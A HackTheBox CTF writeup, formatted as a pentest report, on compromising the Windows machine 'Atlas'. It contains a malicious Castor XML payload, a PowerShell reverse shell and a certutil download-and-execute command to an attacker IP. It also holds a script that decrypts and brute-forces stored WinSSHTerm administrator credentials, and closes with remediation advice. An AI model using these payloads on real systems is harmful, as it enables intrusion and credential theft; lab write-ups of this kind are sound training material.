

PENTEST REPORT

Atlas – HackTheBox Writeup

CLIENT	REPORT AUTHOR	AUTHOR ROLE	PERIOD
HackTheBox	Philippe Bécué	Pen-tester	03/03/2026 - 04/03/2026



HACKTHEBOX

This report is published with the client's consent, once vulnerabilities have been remediated.

Table of Contents

01 **Warning — Simulation / CTF**
Legal information, privacy, and terms of use for this document

02 **Demo Video**
Video demonstration of the exploitation or mission progress

03 **Vulnerability Table**
Severity classification grid and CVSS scores used in this report

04 **Participants List**
Presentation of the team members who participated in the penetration testing mission

05 **Scope**
Definition of the audit scope — systems and applications included and excluded from the test

06 **Information Gathering**
Collection of public information on the target: WHOIS, DNS, SSL certificates, exposed technologies

07 **OSINT**
Open-source intelligence — social media, data breaches, digital footprint

08 **Enumeration**
Discovery of services, open ports, software versions, and identified entry points

09 **Vulnerability Analysis**
Identification, qualification, and classification of discovered security vulnerabilities

10 **Exploitation**
Technical demonstration of the exploitation of confirmed vulnerabilities

11 **Post-Exploitation**
Post-compromise actions — privilege escalation, persistence, and lateral movement

12 **Vulnerabilities Summary Table**
Consolidated summary of all vulnerabilities with their CVSS score and criticality

13 **Conclusion**
Mission summary, overall security level assessment, and risk evaluation

14 **Solution**
Technical and organizational recommendations to remediate identified vulnerabilities

01

Warning — Simulation / CTF

This document is the report of a mission carried out in a simulated environment, for exclusively educational and training purposes. The targeted infrastructure is a virtual machine or a Capture The Flag (CTF) type environment, intentionally vulnerable and designed for learning offensive and defensive cybersecurity techniques. No real production systems, personal data, or third-party infrastructure were involved during this mission.

The techniques, tools, and methods described in this report are presented for educational purposes. Reproducing them on computer systems without explicit authorization from the owner is illegal and subject to criminal prosecution under applicable cybercrime legislation. The author disclaims any responsibility for the misuse of the information contained in this document for malicious or unauthorized purposes.

This report is part of a process to improve skills and document expertise in offensive security. It may be shared for demonstration or professional reference purposes in compliance with the terms of use of the platform or the organizer of the challenge concerned. Any partial or total reproduction for commercial purposes is prohibited without prior authorization from the author.

02

Demo Video

A video demonstration of this mission is available online. The video illustrates the exploitation process and the techniques used.

Video

> VIDEO LINK
>
> https://youtu.be/k3n24mnHtg4

03

Vulnerability Table

The following table defines the severity levels and corresponding CVSS score ranges used throughout the document to assess vulnerability and risk impact.

SEVERITY	CVSS V3 SCORE RANGE	DEFINITION
CRITICAL	9.0 – 10.0	Exploitation is simple and generally leads to total system compromise. It is advised to establish an action plan and apply the fix immediately.
HIGH	7.0 – 8.9	Exploitation is more difficult but can lead to privilege escalation and potentially data loss or service interruption. It is advised to establish an action plan and apply the fix as soon as possible.
MEDIUM	4.0 – 6.9	Vulnerabilities exist but are not directly exploitable or require additional steps such as social engineering. It is advised to establish an action plan and apply the fix after resolving higher-priority issues.
LOW	0.1 – 3.9	Vulnerabilities are not exploitable but would reduce the organization's attack surface. It is advised to establish an action plan and apply the fix during the next maintenance window.
INFORMATIONAL	N/A	No vulnerabilities exist. Additional information is provided regarding observations during testing, strong controls, and supplementary documentation.

04

Participants List

NAME	ROLE	EMAIL	ENVIRONMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

05

Scope

Test Scope

NAME	DETAILS
10.129.238.8	HackTheBox Machine – Atlas (Windows, Hard)

Scope Exclusions

No exclusions defined. Click "Add Exclusion" to get started.

06

Information Gathering

We launch a full Nmap scan covering all TCP ports, with version detection and default NSE script execution:

```
nmap -sC -sV -p- 10.129.238.8 -oN nmap/atlas-full.txt

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           FileZilla ftpd 1.7.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst: SYST: UNIX emulated by FileZilla
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
8080/tcp open  http          Apache Tomcat
|_http-title: Atlas Pilot
```

Four ports are open. The most significant discovery is port **21**: Nmap explicitly indicates that anonymous FTP login is allowed (`ftp-anon: Anonymous FTP login allowed`). This means we can access the FTP service without providing credentials and potentially retrieve sensitive files. Port **8080** hosts an Apache Tomcat application titled 'Atlas Pilot'. Ports 22 (Windows SSH) and 3389 (RDP) will be persistent access vectors once an initial entry point is established.

Anonymous FTP Access

We connect to the FTP service with the login `anonymous` and an empty password, then list the available content:

```
ftp 10.129.238.8
Connected to 10.129.238.8.
220-FileZilla Server 1.7.2
Name: anonymous
Password:
230 Login successful.

ftp> dir
-r--r--r-- 1 ftp ftp   35298765 atlas-pilot-1.0.0-SNAPSHOT.jar
```

```
-r--r--r-- 1 ftp ftp     218456 atlas_generator.zip


ftp> binary
ftp> get atlas-pilot-1.0.0-SNAPSHOT.jar
ftp> get atlas_generator.zip
ftp> bye
```

Two files are available: the application's **Spring Boot JAR** running on port 8080, and a **ZIP archive** that apparently contains the project's source code. Having access to both the compiled binary and the source code simultaneously is a rare and significant advantage — we can analyze the internal logic without having to decompile the JAR.

07

OSINT

Even before interacting with the web application, we extract the source archive to examine the `pom.xml` file — the project's Maven manifest. This file declares all third-party dependencies used, and it's often a goldmine for identifying libraries known to be vulnerable:

```
unzip atlas_generator.zip -d atlas_source
cat atlas_source/pom.xml
```

Three dependencies immediately catch our attention:

- **castor-xml 1.4.1**: An XML deserialization engine several years old. Without a mapping file provided to the `Unmarshaller`, it's known to allow arbitrary Java class instantiation via the `xsi:type` attribute in the XML document.
- **commons-beanutils 1.9.2**: One of the most exploited Apache Commons libraries in Java deserialization gadget chains. It's the core component of the `CommonsBeanutils1` chain in ysoserial.
- **commons-collections 3.2.1**: Another Apache library classically used in Java deserialization gadget chains.

The simultaneous presence of these three libraries in an application that parses user-provided XML is a strong red flag. We potentially have all the ingredients for an RCE via JNDI injection coupled with Java deserialization.

08

Enumeration

Spring Boot Source Code Analysis

We explore the Maven project structure to identify controllers and XML file processing logic:

```
find atlas_source/ -name "*.java" | xargs grep -l "upload\|Unmarshal" 2>/dev/null
```

Two Java files are particularly interesting:

FileUploadController.java — This controller exposes a `POST /upload` endpoint that accepts an XML file via a multipart form. The file is passed without prior content validation to the XML parsing layer.

Client.java — This is where the central vulnerability lies. It contains the XML deserialization code:

```
// Excerpt from Client.java
Unmarshaller unmarshaller = new Unmarshaller(Employee.class);
// No mapping file provided!
Employee emp = (Employee) unmarshaller.unmarshal(xmlReader);
```

Castor XML's `Unmarshaller` is instantiated **without a mapping file**. Without this configuration file, Castor XML does not restrict the allowed Java types during parsing. It reads the `xsi:type` attribute present in the submitted XML document and instantiates the corresponding Java class by reflection — including any class present in the application's classpath, without any validation.

Confirming the Attack Surface

We visit the web application on port 8080 to confirm the presence of the upload form:

```
curl -s http://10.129.238.8:8080/ | grep -i 'form\|upload'
```

The interface indeed presents an XML file upload form (structured employee profiles). The target endpoint is `POST /upload`, confirmed by source code analysis. We now have all the necessary elements for the attack:

- Unfiltered XML upload endpoint on `:8080/upload`
- Castor XML parser without mapping → arbitrary Java class instantiation via `xsi:type`

- Spring Framework in the classpath → `PropertyPathFactoryBean` and `SimpleJndiBeanFactory` classes exploitable to trigger an outbound JNDI/RMI lookup
- Commons libraries in the classpath → ysoserial's `CommonsBeanutils1` gadget chain available

09

Vulnerability Analysis

Castor XML xsi:type Injection – Mechanism and Exploitation Chain

To understand the vulnerability, one must grasp the role of `xsi:type` in XML Schema. Normally, this attribute allows an XML element to declare its actual subtype in a polymorphic schema. In a secure system, a mapping file defines the whitelist of allowed types.

Without this file, Castor XML reads the `xsi:type` attribute and directly instantiates the corresponding Java class by reflection, **without any checks**. An attacker can therefore target any class in the application's classpath.

By targeting two classes from the Spring Framework:

- `PropertyPathFactoryBean`: A Spring bean factory that evaluates a property of another bean. It can be configured to point to a remote JNDI name, triggering a network resolution upon instantiation.
- `SimpleJndiBeanFactory`: Performs a JNDI lookup to the URL provided in its configuration.

By combining these two beans in a malicious XML document, we automatically trigger an **outbound RMI connection to our JRMP server** during parsing. This server responds with a malicious serialized Java object. The target JVM deserializes this object — and this is where the Commons gadget chains come in: deserialization executes arbitrary code on the system.

The complete exploitation chain:

1. Upload XML with `xsi:type` pointing to malicious Spring beans
2. Castor XML instantiates `PropertyPathFactoryBean` and `SimpleJndiBeanFactory` by reflection
3. Spring triggers an RMI connection to our JRMP listener (port 1099)
4. The listener responds with a serialized `CommonsBeanutils1` payload (ysoserial)
5. The target JVM deserializes the payload → arbitrary system command execution

Critical Java Version Constraint: The `CommonsBeanutils1` gadget chain from ysoserial relies on the internal class `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`. Since Java 17, the module system (JPMS) strictly partitions internal JDK classes, making this reflection access impossible. The exploit **requires Java 11 or lower** to function.

10

Exploitation

Constructing the Malicious XML Payload

We create the `payload.xml` file. It adheres to the structure of the `Employee` model expected by the application, but critical fields are replaced with Spring beans that will trigger the RMI connection to our Kali machine:

```
<?xml version="1.0" encoding="UTF-8"?>
<Employee id="1337"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:java="http://java.sun.com">
  <name xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean">
    <target-bean-name>rmi://10.10.14.X:1099/pwn</target-bean-name>
    <property-path>foo</property-path>
    <bean-factory xsi:type="java:org.springframework.jndi.support.SimpleJndiBeanFactory">
      <shareable-resource>rmi://10.10.14.X:1099/pwn</shareable-resource>
    </bean-factory>
  </name>
  <title>Analyst</title>
  <email>test@target.local</email>
  <phone>0600000000</phone>
  <profile>test</profile>
  <talent-titles>a</talent-titles>
  <talent-textes>x</talent-textes>
  <skills>test</skills>
  <education-title>test</education-title>
  <education-text>test</education-text>
</Employee>
```

Replace `10.10.14.X` with your IP on the HackTheBox network (shown by `ip a show tun0`). When parsing this XML document, Castor will instantiate the Spring beans indicated by `xsi:type`, automatically triggering the RMI connection to our listener.

Setting up the JRMP Listener and Two-Stage Reverse Shell

Through trial and error (testing `certutil` downloads on various ports), we discover that the machine's firewall only allows **port 8000** for outbound traffic. The classic approach (direct reverse shell delivered by ysoserial) will not work on standard ports. We adapt with a two-stage approach: the payload will first download a PowerShell script via `certutil`, then execute it.

Step 1 – Prepare the PowerShell reverse shell script (`invoke-shell.ps1`):

```
$c = New-Object System.Net.Sockets.TCPClient('10.10.14.X', 8000)
$s = $c.GetStream()
[byte[]]$b = 0..65535 | % { 0 }
while (($i = $s.Read($b, 0, $b.Length)) -ne 0) {
    $d = (New-Object System.Text.ASCIIEncoding).GetString($b, 0, $i)
    $r = (iex $d 2>&1 | Out-String)
    $r2 = $r + 'PS ' + (pwd).Path + '> '
    $sb = ([text.encoding]::ASCII).GetBytes($r2)
    $s.Write($sb, 0, $sb.Length)
    $s.Flush()
}
$c.Close()
```

Step 2 – Start the ysoserial JRMP listener (must use Java 11, not Java 17+):

```
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -cp ysoserial-all.jar \
  ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 \
  'cmd.exe /c certutil -urlcache -split -f http://10.10.14.X:8000/invoke-shell.ps1
C:/ProgramData/invoke-shell.ps1 && powershell.exe -ep bypass -f C:/ProgramData/invoke-shell.ps1'
```

Step 3 – Two terminals in parallel:

```
# Terminal A: Serve invoke-shell.ps1 on port 8000
python3 -m http.server 8000

# Terminal B: Once download is confirmed in Terminal A,
#              stop the HTTP server (Ctrl+C) and start listening
ncat -lvnp 8000
```

Triggering the Exploit and Obtaining the Shell

We send the XML payload to the Tomcat application's upload endpoint:

```
curl -X POST http://10.129.238.8:8080/upload \
  -F 'file=@payload.xml' \
  -F 'submit=Upload'
```

The execution chain unfolds automatically as soon as Castor parses the document:

1. Tomcat passes the XML to the Castor Unmarshaller component
2. Castor reads the attribute `xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean"` and instantiates this bean by reflection
3. Spring triggers the RMI lookup to `10.10.14.X:1099`
4. Our JRMP listener responds with the serialized `CommonsBeanutils1` gadget
5. The target JVM deserializes the payload → execution of `cmd.exe`
6. `certutil` downloads `invoke-shell.ps1` from our HTTP server
7. PowerShell executes the script and connects back in a reverse shell to our port 8000

We obtain a shell as `atlas\john`. User flag:

```
type C:\Users\John\Desktop\user.txt
<hash>
```

11

Post-Exploitation

Stabilizing Access via SSH

A PowerShell reverse shell is unstable and inconvenient for in-depth exploration. We leverage the SSH port (22) to establish persistent and comfortable access. We generate a key pair on our Kali machine, then place the public key in John's profile via the reverse shell:

```
# On Kali
ssh-keygen -t ed25519 -f ~/.ssh/atlas_key -N ''
cat ~/.ssh/atlas_key.pub

# In the PowerShell reverse shell on the target
mkdir C:\Users\John\.ssh
echo 'ssh-ed25519 AAAA...[paste your public key]' > C:\Users\John\.ssh\authorized_keys
```

Direct SSH connection, much more stable:

```
ssh -i ~/.ssh/atlas_key john@10.129.238.8
```

We perform the classic post-exploitation checks: `whoami /priv` shows standard privileges, John does not belong to any administrative groups. The FileZilla Server service is running locally, but attempts to interact with its administration interface return access denied errors. We need to dig elsewhere.

Discovery of WinSSHTerm and Encrypted Administrator Credentials

Exploring John's home directories, we stumble upon an SSH client installed in his `Downloads` folder:

```
dir C:\Users\John\Downloads\

    Directory: C:\Users\John\Downloads\WinSSHTerm

Mode  LastWriteTime   Length  Name
----  -------------   ------  ----
```

```
d---  ...                    config
-a--  ...          12824576  WinSSHTerm.exe
```

WinSSHTerm is a Windows SSH client capable of saving connection profiles, including passwords in encrypted form. The `config` directory contains two files:

- `connections.xml` — saved SSH connection profiles
- `key` — encryption key file

The content of `connections.xml` is particularly interesting:

```
<WinSSHTerm Version="1" VerifyKey="[base64_verification_key]">
  <Node Name="Admin SSH" Type="Connection"
        Username="administrator"
        Password="[base64_encrypted_password]"
        Hostname="127.0.0.1" Port="22" />
</WinSSHTerm>
```

The administrator's SSH password is stored here, encrypted. The `VerifyKey` field is likely used to verify that decryption is correct. We retrieve all necessary files via SFTP:

```
sftp -i ~/.ssh/atlas_key john@10.129.238.8
sftp> get C:/Users/John/Downloads/WinSSHTerm/config/key
sftp> get C:/Users/John/Downloads/WinSSHTerm/config/connections.xml
sftp> get C:/Users/John/Downloads/WinSSHTerm/WinSSHTerm.exe
sftp> bye
```

.NET Decompilation and Encryption Schema Reconstruction

WinSSHTerm is a .NET application. We decompile it with ILSpy to retrieve source code almost identical to the original:

```
ilspycmd WinSSHTerm.exe -o ./winsshterm_src/
```

After analyzing the decompiled code (approximately 86,000 lines), we reconstruct an encryption schema in **three nested layers**.

Layer 1 – Decryption of the `key` file

The `key` file (113 bytes) is structured as follows: byte 0 is a version number (`0x02`), the following bytes are AES-256-CBC encrypted data. To derive the AES key and initialization vector, the application uses PBKDF2-HMAC-SHA1 (1012 iterations) with:

- **Password**: `obfuscated_prefix + MasterPassword + fixed_suffix`
- **Salt**: hardcoded hexadecimal value in the binary

The prefix is obfuscated by an XOR in a static constructor of the main class:

```
// Decompiled static constructor (pseudo-code)
for (int i = 0; i < data.Length; i++) {
    data[i] = (byte)((data[i] ^ i) ^ 0xAA);
}
```

We apply this same XOR to the byte array embedded in the binary to retrieve the cleartext prefix. The fixed suffix is a 14-character string, including Unicode characters (16 bytes in UTF-8).

Layer 2 – Extraction of PasswordKey and SaltKey

The decrypted result of the `key` file is base64 decoded (64 bytes of key material). These bytes are transformed by binary NOT and then split into two 32-byte arrays: the even-indexed bytes form `PasswordKey`, and the odd-indexed bytes form `SaltKey`.

Layer 3 – Decryption of the stored password

The encrypted password extracted from `connections.xml` is decrypted by AES-256-CBC with a new PBKDF2-HMAC-SHA1 derivation (1012 iterations) using `PasswordKey` as the password and `SaltKey` as the salt. We remove the fixed suffix from the final result to obtain the cleartext password.

Python Decryption Script and Administrator Access

We code a Python script that automates the entire process: extracting the prefix via XOR from the binary, deriving the keys, and brute-forcing the master password using `rockyou.txt`. The `VerifyKey` field from `connections.xml` serves as a verification to validate each candidate without false positives:

```
#!/usr/bin/env python3
import hashlib, base64, sys
from Crypto.Cipher import AES
```

```
# Fixed suffix identified in the binary (includes Unicode characters)
SUFFIX      = 't57i.!gd9ößfty'
PBKDF2_SALT = bytes.fromhex('3bda31b7480550e3bc66046defc951a8')
ITERATIONS  = 1012

def pkcs7_unpad(data):
    pad = data[-1]
    return data[:-pad] if (0 < pad <= 16 and all(b == pad for b in data[-pad:])) else data

def derive_key_iv(pwd_bytes, salt_bytes):
    dk = hashlib.pbkdf2_hmac('sha1', pwd_bytes, salt_bytes, ITERATIONS, dklen=48)
    return dk[:32], dk[32:48]

def aes_decrypt(ciphertext, key, iv):
    return pkcs7_unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext))

def open_keyfile(path, prefix, master_pw):
    with open(path, 'rb') as f:
        raw = f.read()
    pwd = (prefix + master_pw + SUFFIX).encode('utf-8')
    key, iv = derive_key_iv(pwd, PBKDF2_SALT)
    try:
        inner   = aes_decrypt(raw[1:], key, iv).decode('utf-8').removesuffix(SUFFIX)
        mat     = base64.b64decode(inner)
        pw_key  = bytes(~mat[i * 2]     & 0xFF for i in range(32))
        salt_key = bytes(~mat[i * 2 + 1] & 0xFF for i in range(32))
        return pw_key, salt_key
    except Exception:
        return None, None

def decrypt_field(enc_b64, pw_key, salt_key):
    key, iv = derive_key_iv(pw_key, salt_key)
    raw = aes_decrypt(base64.b64decode(enc_b64), key, iv)
    return raw.decode('utf-8', errors='replace').removesuffix(SUFFIX)

if __name__ == '__main__':
    # Extract PREFIX via XOR from WinSSHTerm.exe binary byte array
```

```
    PREFIX   = '<PREFIX_EXTRACTED_VIA_XOR_FROM_BINARY>'
    KEYFILE  = 'key'
    VERIFY   = '<VerifyKey_VALUE_FROM_connections.xml>'
    ENC_PWD  = '<Password_VALUE_FROM_connections.xml>'
    EXPECTED = '<EXPECTED_MD5_HASH_BY_VerifyKey>'

    print('[*] Brute-forcing master password in progress...')
    with open('/usr/share/wordlists/rockyou.txt', 'rb') as wl:
        for idx, line in enumerate(wl):
            pw = line.strip().decode('utf-8', errors='ignore')
            pk, sk = open_keyfile(KEYFILE, PREFIX, pw)
            if pk is None:
                continue
            try:
                if decrypt_field(VERIFY, pk, sk) == EXPECTED:
                    found = decrypt_field(ENC_PWD, pk, sk)
                    print(f'[+] Master password found: {pw!r}')
                    print(f'[+] Administrator password: {found}')
                    sys.exit(0)
            except Exception:
                pass
            if idx % 5000 == 0:
                print(f'    {idx} candidates tested...', end='\r')
```

The script quickly finds the master password (it's present in rockyou.txt) and decrypts the Administrator password to cleartext. We use it for a direct SSH connection:

```
ssh administrator@10.129.238.8
administrator@10.129.238.8's password: [decrypted_password]

type C:\Users\Administrator\Desktop\root.txt
<hash>
```

12

Vulnerabilities Summary Table

Castor XML Unmarshaller without mapping file – xsi:type Injection → RCE via JNDI

CRITICAL

APPLICATION	PORT	TYPE
Spring Boot (POST /upload endpoint, Castor XML 1.4.1)	8080	RCE

MAIN IMPACT

Instantiation of arbitrary Java classes via JNDI → system command execution as john

Administrator SSH credentials protected by a weak master password (WinSSHTerm)

HIGH

APPLICATION	TYPE
WinSSHTerm.exe (.NET SSH client)	Privilege Escalation

MAIN IMPACT

Decryption of Administrator password by brute-force → full SSH access to the machine

13

Conclusion

Atlas is a **Hard** level machine covering two distinct technical domains: exploiting Java deserialization via XML injection on one hand, and cryptographic reverse engineering of a .NET application on the other. The complete attack chain can be summarized as follows:

1. **Anonymous FTP** → Retrieval of the Spring Boot JAR and source code
2. **pom.xml Analysis** → Identification of Castor XML 1.4.1 without mapping and gadget libraries (commons-beanutils, commons-collections)
3. **Castor XML xsi:type Injection** → Instantiation of malicious Spring beans → JNDI/RMI lookup to our JRMP listener
4. **Ysoserial CommonsBeanutils1** (Java 11 mandatory, not Java 17+) → System command execution
5. **Firewall Bypass**: two-stage payload via certutil (only port 8000 is allowed outbound)
6. **WinSSHTerm Discovery** in John's profile → Administrator credentials encrypted in `connections.xml`
7. **ILSpy Decompilation** → Reconstruction of the AES-256-CBC / PBKDF2 schema with XOR obfuscation and binary NOT operations
8. **Master Password Brute-force** via rockyou.txt → Decryption of Administrator password
9. **SSH as Administrator** → Root flag

What makes Atlas particularly interesting and educational is the rigor required at each step. Java exploitation demands a deep understanding of the JNDI → JRMP → deserialization chain, managing Java version constraints, and adapting the payload to network constraints (two stages, certutil). The .NET part requires navigating thousands of lines of decompiled code to reconstruct a custom cryptographic schema with XOR obfuscation and bitwise manipulation. Two fundamental and complementary skills in advanced pentesting.

14

Solution

1. Secure Castor XML Parser with Strict Mapping File

The primary vulnerability stems from using Castor XML's `Unmarshaller` without a mapping file. Without this file, any Java class in the classpath can be instantiated via `xsi:type`. The fix involves providing a mapping file that explicitly lists only the allowed types:

```
// Secure instantiation with mapping file
Mapping mapping = new Mapping();
mapping.loadMapping(new InputSource(
    getClass().getResourceAsStream("/castor-mapping.xml")
));
Unmarshaller unmarshaller = new Unmarshaller(Employee.class);
unmarshaller.setMapping(mapping); // Restricts to declared types
Employee emp = (Employee) unmarshaller.unmarshal(xmlReader);
```

Alternatively, migrate to a modern XML binding framework with default type restrictions (JAXB with DTD disabled, Jackson Dataformat XML).

2. Update Vulnerable Dependencies

The libraries `commons-beanutils 1.9.2` and `commons-collections 3.2.1` are classic vectors for Java gadget chains. Update to patched versions:

- `commons-beanutils` → version 1.9.4 minimum
- `commons-collections` → version 3.2.2 minimum (or migrate to the 4.x branch)

Integrate OWASP Dependency-Check into the CI/CD pipeline to automatically detect vulnerable dependencies:

```
mvn org.owasp:dependency-check-maven:check
```

3. Disable Anonymous FTP Access

No production service should expose application files (binaries, source code, configuration) via anonymous FTP. Disable anonymous login in FileZilla Server, restrict access to authenticated users with strictly necessary

permissions, and never deploy source code or JARs on services accessible without authentication.

4. Strengthen Protection of Locally Stored Credentials

WinSSHTerm protects its credentials with a master password. A password present in rockyou.txt is insufficient to withstand a dictionary attack. Recommendations:

- Use a master password of at least 20 random characters, not present in any common wordlists
- Prefer SSH key authentication over password for administrator access
- Store sensitive credentials in an audited password manager (KeePassXC, Bitwarden) rather than in the built-in mechanisms of SSH clients
- Never save Administrator credentials on standard user workstations

5. Harden Outbound Network Traffic Policy

Although the firewall restricted outbound ports, the machine remained exploitable via port 8000.
Recommendations:

- Apply a strict whitelist on outbound traffic (only documented and legitimate business flows)
- Monitor unusual outbound connections via an EDR or SIEM
- Deploy an application proxy to force all outbound HTTP/HTTPS traffic through a central control point